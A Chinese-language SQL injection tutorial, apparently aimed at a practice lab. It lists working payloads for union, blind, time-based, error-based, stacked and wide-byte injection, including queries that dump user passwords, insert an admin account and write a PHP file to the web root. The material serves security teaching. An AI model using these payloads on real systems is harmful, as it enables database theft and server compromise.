SQL注入漏洞常用绕过方法

SQL注入漏洞

漏洞描述

Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了原有的SQL 语句逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入webshell 、执行系统命令以及绕过登录限制等。

SQL 注入漏洞的产生需要满足以下两个条件 :

  • 参数用户可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询

漏洞危害

  1. 查询数据
  2. 下载数据
  3. 写入webshell
  4. 执行系统命令
  5. 绕过登录限制

用于测试注入点的语句

and 1=1--+
' and 1=1--+
" and 1=1--+
) and 1=1--+
') and 1=1--+
") and 1=1--+
")) and 1=1--+

漏洞分类

回显:

  • UNION(联合注入)

不回显:

  • 布尔盲注
  • 时间盲注
  • 报错注入

其他:

  • 堆叠注入
  • 二次注入
  • 宽字节注入
  • http头部注入

联合注入

使用场景:有显示位,可以将sql语句执行的结果输出到网页中。

# 查询字段数
?id=1' order by 3 -- -

# 查看回显位
?id=-1' union select 1,2,3-- -

//查询系统
?id=-1' union select 1,concat_ws('_',user(),version(),database()),@@basedir-- -

//查询所有数据库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- -

//查询表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -

//查询列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name ='users'-- -

//查询数据
?id=-1' union select 1,group_concat('*',concat(username,'---',password)),3 from security.users -- -

布尔注入

使用场景:根据注入执行结果的布尔值,页面显示不同,由此来判断是否为布尔注入
payload:

//判断数据库的第一位是不是s
?id=1" and left(database(),1)='s'--+-
?id=1" and substr((select database()),1,1)='s' --+-
?id=1" and ascii(substr((select database()),1,1))=115--+-


//获取所有数据库名称
?id=1" and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105--+-


//获取当前数据库表名称
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+-


//获取当前数据库表users表的列名
?id=1" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-

?id=1" and ord(mid((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105--+-


//获取users表的数据
?id=1" and ord(mid((select username from security.users limit 0,1 ),1,1))=68--+-

时间注入

使用场景:在注入时,无论注入是否正确,页面没有任何变化,没有显示位,也没有报错信息。但是加入sleep(5)条件之后,如果if条件成立则页面返回速度明显慢了5秒。

//判断时间数据库长度
?id=1" and if(length(database())>7,1,sleep(5)) --+-


//查询数据库的第一位
?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+-


//查询表
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+-


//获取当前数据库表users表的列名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1))=105,1,sleep(5)) --+-


//获取users表的数据
?id=1" and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5)) --+-

报错注入

使用场景:报错注入的使用场景一般在页面无法显示数据库的信息,但是有报错内容,我们就可以尝试利用报错注入将错误信息与子查询语句中查询的内容带出,并不局限与这种场景,只要能将mysql错误信息输出都可以尝试进行报错注入。

报错注入形式上一般是做两个嵌套查询,里面的称为子查询,执行顺序是先进行子查询,所以我们可以通过子查询查询我们想要的数据,然后通过报错函数将我们查询的数据带出。

//updatexml报错方式
?id=1" and (updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata)),1)))--+-


//extractvalue报错方式
id=1" and extractvalue(1, concat((select group_concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database())))--+-

堆叠注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query 这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户

# 在得知对方管理表结构的前提下,可以向管理表插入一个管理员账号
?id=1';insert into users value(20,"sc","sc");--+-


# 查询一下
?id=20

二次注入

二次注入过程中,在第一次数据库插入数据的时候,如果仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashea有一个特点就是虽然参数在过滤后添加”\“进行转义,但是”\“并不会插入到数据库中,在写入数据时会保留原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。
比如:在第一次 插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入.

image.png

$sql = "insert into users ( username, password) values("$username", "$pass")";

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' andpassword='$curr_pass' ";

$sql = "UPDATE users SET PASSWORD='456' where username='admin’#' and password='$curr_pass' ";

宽字节注入

宽字节注入,在SQL进行防注入的时候,一般会开启gpc,过滤特殊字符。一般情况下开启gpc是可以防御很多字符串的注入,但是如果数据库编码不对,也可以导致SQL防注入绕过,达到注入目的。如果数据库设置宽字节字符集gpk会导致宽字节注入,从而逃逸gpc。

前提条件

简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入

深入讲解:要有宽字节注入漏洞,首先满足数据库和后端使用双或多字节解析sql语句其次还要保证在 该种字符集中包含**0x5c(01011100)**的字符,初步测试结果为Big5和GBK字符集都是有的,UTF-8 和 GB2312没有这种字符。(也就不存在宽字节注入)

常见的转义函数

常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini 中 magic_quote_gpc的配置
在线gbk编码表:

https://www.toolhelper.cn/Encoding/GBK
’ ——> %27
空格 ——> %20
#符号 ——> %23
\ ——> %5C

payload

32
?id=1%aa' and 1=2 -- -
?id=1%aa' order by 3 -- -
?id=-1%aa' union select 1,2,3 -- -
?id=-1%aa' union select 1,user(),3 -- -

HTTP头部注入

User-Agent:浏览器版本
COOKIE: 网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据
X-Forwarded-For:获取HTTP请求端真实IP
Client-IP: 获取IP
Referer:浏览器向Web服务器表名自己是从哪个页面链接过来的
Host:访问的Web服务器的域名/IP和端口号
21
admin') order by 3 -- -

读写文件操作

前提条件

必须有权限读写并且完全可读写
ecure_file_priv不能为空
要读取的文件必须在服务器
必须指定文件的完整路径

?id=-1' union select 1,load_file("C:\\phpStudy\\PHPTutorial\\1.txt"),3--+-
?id=-1' union select 1,load_file("D:/phpStudy/PHPTutorial/WWW/flag.txt"),3--+-
?id=-1' union select 1,"<?php phpinfo(); ?>",3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\2.php" --+-

常用的绕过方法

  1. 空格字符绕过
  2. 大小写绕过
  3. 浮点数绕过注入
  4. NULL 值绕过
  5. 引号绕过
  6. 添加库名绕过
  7. 逗号绕过
  8. 分块传输绕
  9. Unicode 编码绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/630637.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

详细分析Vue3中的ref(附Demo)

目录 前言1. 基本知识2. Demo 前言 由于新项目涉及Vue3&#xff0c;本着探究问题的本质研究所不会的疑问 1. 基本知识 ref 是 Vue 3 中用于创建响应式数据的函数 接收一个初始值并返回一个包含了该值的响应式引用对象与 Vue 2.x 中的 data 属性不同&#xff0c;ref 返回的是…

【JAVA入门】Day05 - 面向对象

【JAVA入门】Day05 - 面向对象 文章目录 【JAVA入门】Day05 - 面向对象一、对象的设计和使用1.1 类和对象1.2 类的分类 二、封装三、private 关键字四、this 关键字五、构造方法六、JavaBean七、对象的内存图7.1 一个对象的内存图7.2 两个对象的内存图7.3 两个引用指向同一个对…

一种请求头引起的跨域问题记录(statusCode = 400/CORS)

问题表象 问题描述 当我们需要在接口的headers中添加一个自定义的变量的时候&#xff0c;前端的处理是直接在拦截器或者是接口配置的地方直接进行写&#xff0c;比如下面的这段比较基础的写法&#xff1a; $http({method: "post",url:constants.backend.SERVER_LOGIN…

函数栈帧的创建和销毁(详细理解)

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;c语言课程学习 &#x1f389;欢迎大家点赞&#x1f44d;评论&#x1f4dd;收藏⭐文章 目录 问题&#xff1a; 1.ebp&#xff0c;esp两个寄存器用来维护函数栈帧 2.main函数也一个函数&#…

QCustomPlot的了解

&#xff08;一&#xff09;QCustomPlot常见属性设置、多曲线绘制、动态曲线绘制、生成游标、矩形放大等功能实现-CSDN博客 关键代码&#xff1a; QT core gui printsupport 使用上面文章中的代码跑起来的程序效果图&#xff1a; 我的学习过程&#xff1a; 最开始初…

java 项目通用数据权限设计

文章目录 前言一、常见的数据权限二、通用数据权限设计思路通用权限示例(灵活配置最简单方式)两个表业务理解最终拼接出来的sql 为: 总结 前言 权限一般分为操作权限和数据权限 操作权限: 菜单,页面,按钮 数据权限: 能看到的数据,包括各种页面的数据范围 一、常见的数据权限 …

kafka用java收发消息

用java客户端代码来对kafka收发消息 具体代码如下 package com.cool.interesting.kafka;import org.apache.kafka.clients.consumer.ConsumerConfig; import org.apache.kafka.clients.consumer.ConsumerRecord; import org.apache.kafka.clients.consumer.ConsumerRecords; i…

MP3解码入门(基于libhelix)

主要参考资料: 【Arduino Linux】基于 Helix 解码库实现 MP3 音频播放: https://blog.csdn.net/weixin_42258222/article/details/122640413 libhelix-mp3: https://github.com/ultraembedded/libhelix-mp3/tree/master 目录 一、MP3文件二、MP3 解码库三、libhelix-mp3库3.1 …

Java 自然排序和比较器排序区别?Comparable接口和Comparator比较器区别?

注&#xff1a;如果你对排序不理解&#xff0c;请您耐心看完&#xff0c;你一定会明白的。文章通俗易懂。建议用idea运行一下案例。 1&#xff09;自然排序和比较器排序的区别&#xff1f; 自然排序是对象本身定义的排序规则&#xff0c;由对象实现 Comparable 接口&#xff…

思科模拟器--2.静态路由和默认路由配置24.5.15

首先&#xff0c;创建三个路由器和两个个人电脑。 接着&#xff0c;配置两台电脑的IP&#xff0c;子网掩码和默认网关 对Router 0&#xff0c;进行以下命令&#xff1a; 对Router进行以下命令&#xff1a; 对Router2进行以下命令&#xff1a; 本实验完成。 验证&#xff1a;PC…

Leetcode39.组合总和

文章目录 题目描述解题思路重复子集剪枝 代码 题目 参考题解 题目描述 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序 返…

Android Studio kotlin 转 Java

一. 随笔记录 java代码可以转化成kotlin代码&#xff0c;当然 Kotlin 反过来也可以转java 在Android Studio中 可以很方便的操作 AS 环境&#xff1a;Android Studio Iguana | 2023.2.1 二. 操作步骤 1.步骤 顶部Tools ----->Kotlin ------>Show Kotlin Bytecode 步…

错误: 找不到或无法加载主类问题(已解决)

今天在虚拟机中安装了idea2023.2的版本&#xff0c;运行代码时发现错误找不到主类&#xff01; 直接说结论&#xff1a; 我先clean了一下target&#xff0c;然后重新build&#xff0c;发现maven报错了&#xff0c;idea2023.2默认使用了内置的maven&#xff0c;然后我切换了一下…

ThreadLocal,一次到位

一、定义 ThreadLocal是线程私有变量&#xff0c;用于保存每个线程的私有数据。 那么什么情况下需要进行线程隔离 二、源码分析 public class ThreadLocalTest01 {ThreadLocal<Integer> t new ThreadLocal<>();public void test() {t.set(1);Integer integer…

MT3036 第一节离数课后

思路&#xff1a; 这道题与之前的表达式求值题目不同的是&#xff0c;有not这个单目运算符。而且如果表达式错误&#xff0c;要输入error。 把true和false成为操作数&#xff0c;把and or not成为运算符。 考虑error的情况&#xff1a; 1.and 和 or是双目运算符&#xff0c…

文心一言指令多样化,你知道的有哪些?

文心一言的指令非常多样化&#xff0c;可以根据用户的需求和场景进行灵活调整。以下是一些常见的文心一言指令示例&#xff1a; 知识问答&#xff1a; 帮我解释一下什么是芯片&#xff1f;中国的历史上有哪些重要的朝代&#xff1f;人工智能在未来会有哪些发展趋势&#xff1f;…

表白成功率百分百的向女朋友表白网页源代码,向女友表白HTML源代码

表白成功率百分百的向女朋友表白网页源代码&#xff0c;向女友表白HTML源代码 效果&#xff1a; 完整代码下载地址&#xff1a;向女友表白HTML源代码 <!DOCTYPE html> <!--STATUS OK--> <html><head><meta http-equiv"Content-Type" c…

P8805 [蓝桥杯 2022 国 B] 机房

P8805 [蓝桥杯 2022 国 B] 机房 分析 是一道lca题目&#xff0c;可以直接套模板 前缀和处理点权 具体思路&#xff1a; 1.n台电脑用n-1条网线相连&#xff0c;任意两个节点之间有且仅有一条路径&#xff08;拆分成各自到公共祖先节点的路径——lca&#xff09;&#xff1b;…

CAD插入文字到另一图形样式变相同

CAD从一张图形复制到另外一张图形后&#xff0c;文字样式变成一样是因为两张图所用的文字样式名称一样&#xff0c;但是样式里面的使用字体样式不一样。如下图所示&#xff0c;找到工具栏中的注释 &#xff0c;点击文字样式。里面就会显示当前图形中使用的样式名称及其对应的字…

TINA 使用教程

常用功能 分析-电气规则检查&#xff1a;短路&#xff0c;断路等分析- 直流分析 交流分析 瞬态分析 视图-分离曲线 由于输出的容性负载导致的振荡 增加5欧电阻后OK 横扫参数 添加横扫曲线的电阻&#xff0c;选择R3&#xff1a;8K-20K PWL和WAV文件的支持 示例一&#xff1a;…